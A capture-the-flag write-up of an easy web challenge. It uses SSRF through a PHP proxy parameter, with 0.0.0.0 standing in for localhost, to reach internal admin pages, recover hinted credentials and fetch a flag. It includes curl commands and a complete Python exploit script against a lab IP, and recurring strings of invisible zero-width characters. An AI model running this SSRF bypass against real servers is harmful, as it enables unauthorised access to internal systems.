← Back to Writeups
CUSTOMEasyWeb
Bookmark

Proxy: No Access... for You?

XESXOR9/10/20263 min read
#web#custom#easy#internal_admin_enumeration#query_parameter_url_encoding#robots_txt_enumeration#ssrf_localhost_bypass#linux

Proxy: No Access... for You?

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: internal_admin_enumeration, query_parameter_url_encoding, robots_txt_enumeration, ssrf_localhost_bypass

Summary

Task: a PHP proxy reader exposed a server-side URL fetcher while the real admin area was restricted from direct access. Solution: use SSRF with http://0.0.0.0 to browse internal admin pages, recover hinted credentials, and submit them through an encoded proxy request to obtain the flag.

Proxy: No Access... for You? — Hackerlab

Description

Original task name: «Прокси Доступа нет...для Вас?»

Target: http://62.173.140.174:16010

The application exposed a proxy-style reader at /index.php?url=.... Direct access to the admin area was denied, so the goal was to use the proxy as an SSRF primitive and reach internal-only endpoints from the server side.

Analysis

Initial recon

The main page already exposed the important functionality:

 text 
/index.php?url=...

That strongly suggested a server-side fetch feature. The next easy enumeration target was robots.txt, which revealed an /admin/ path. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Directly requesting /admin/ returned the Russian message:

 text 
Вам сюда нельзя!

So the admin section existed, but it was protected from normal external access.

SSRF localhost bypass

Knowledge base notes and HackTricks SSRF methodology suggested trying alternative localhost representations. In this challenge, 0.0.0.0 worked as a localhost-equivalent destination for the backend fetcher.

Using the proxy to request the internal admin page:

 text 
/index.php?url=http://0.0.0.0/admin/

returned the internal page instead of the external denial message. The page contained a TODO note mentioning /admin/panel.php and missing authentication hardening. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Admin panel and credential hint

Browsing the next internal page through SSRF:

 text 
/index.php?url=http://0.0.0.0/admin/panel.php

showed a login form. Submitting wrong credentials revealed a password hint link at /admin/hint.php.

Fetching that page through the same SSRF primitive:

 text 
/index.php?url=http://0.0.0.0/admin/hint.php

disclosed valid credentials:

 text 
admin:h4ck3rcr4cker

Important encoding detail

The final login request required nesting query parameters inside the outer proxy parameter. That means the inner URL had to be URL-encoded correctly; otherwise the outer application would parse username and password as top-level parameters instead of part of the proxied URL. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

curl -G --data-urlencode handled this cleanly.

Solution

Step 1: Confirm the proxy reader

 bash 
curl "http://62.173.140.174:16010/"
curl "http://62.173.140.174:16010/index.php?url=http://example.com"

Step 2: Enumerate with robots.txt

 bash 
curl "http://62.173.140.174:16010/robots.txt"

This revealed /admin/.

Step 3: Verify that direct admin access is blocked

 bash 
curl "http://62.173.140.174:16010/admin/"

The response was:

 text 
Вам сюда нельзя!

Step 4: Reach the internal admin area through SSRF

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash 
curl -G --data-urlencode 'url=http://0.0.0.0/admin/' \
  "http://62.173.140.174:16010/index.php"

This exposed the internal admin page and the reference to /admin/panel.php.

Step 5: Open the login form and find the hint page

 bash 
curl -G --data-urlencode 'url=http://0.0.0.0/admin/panel.php' \
  "http://62.173.140.174:16010/index.php"

curl -G --data-urlencode 'url=http://0.0.0.0/admin/hint.php' \
  "http://62.173.140.174:16010/index.php"

The hint page disclosed:

 text 
admin:h4ck3rcr4cker

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 6: Log in through the proxy and get the flag

 bash 
curl -G \
  --data-urlencode 'url=http://0.0.0.0/admin/panel.php?username=admin&password=h4ck3rcr4cker' \
  "http://62.173.140.174:16010/index.php"

The response returned the flag:

 text 
CODEBY{REDACTED}
 python 
#!/usr/bin/env python3
import re
import sys
from urllib.parse import urljoin

import requests


BASE = "http://62.173.140.174:16010/"
PROXY = urljoin(BASE, "index.php")


def fetch_internal(path: str) -> str:
    response = requests.get(PROXY, params={"url": f"http://0.0.0.0{path}"}, timeout=10)
    response.raise_for_status()
    return response.text
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def main() -> int:
    robots = requests.get(urljoin(BASE, "robots.txt"), timeout=10).text
    print("[+] robots.txt")
    print(robots)

    admin_page = fetch_internal("/admin/")
    print("[+] /admin/ fetched through SSRF")
    print(admin_page[:500])

    panel = fetch_internal("/admin/panel.php")
    print("[+] /admin/panel.php fetched through SSRF")
    print(panel[:500])

    hint = fetch_internal("/admin/hint.php")
    print("[+] /admin/hint.php fetched through SSRF")
    print(hint)

    creds = re.search(r"(admin:h4ck3rcr4cker)", hint)
    if not creds:
        print("[-] Could not recover credentials", file=sys.stderr)
        return 1
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    flag_page = requests.get(
        PROXY,
        params={
            "url": "http://0.0.0.0/admin/panel.php?username=admin&password=h4ck3rcr4cker"
        },
        timeout=10,
    )
    flag_page.raise_for_status()
    print("[+] Login response")
    print(flag_page.text)

    flag = re.search(r"CODEBY\{[^}]+\}", flag_page.text)
    if not flag:
        print("[-] Flag not found", file=sys.stderr)
        return 1

    print(f"[+] Flag: {flag.group(0)}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍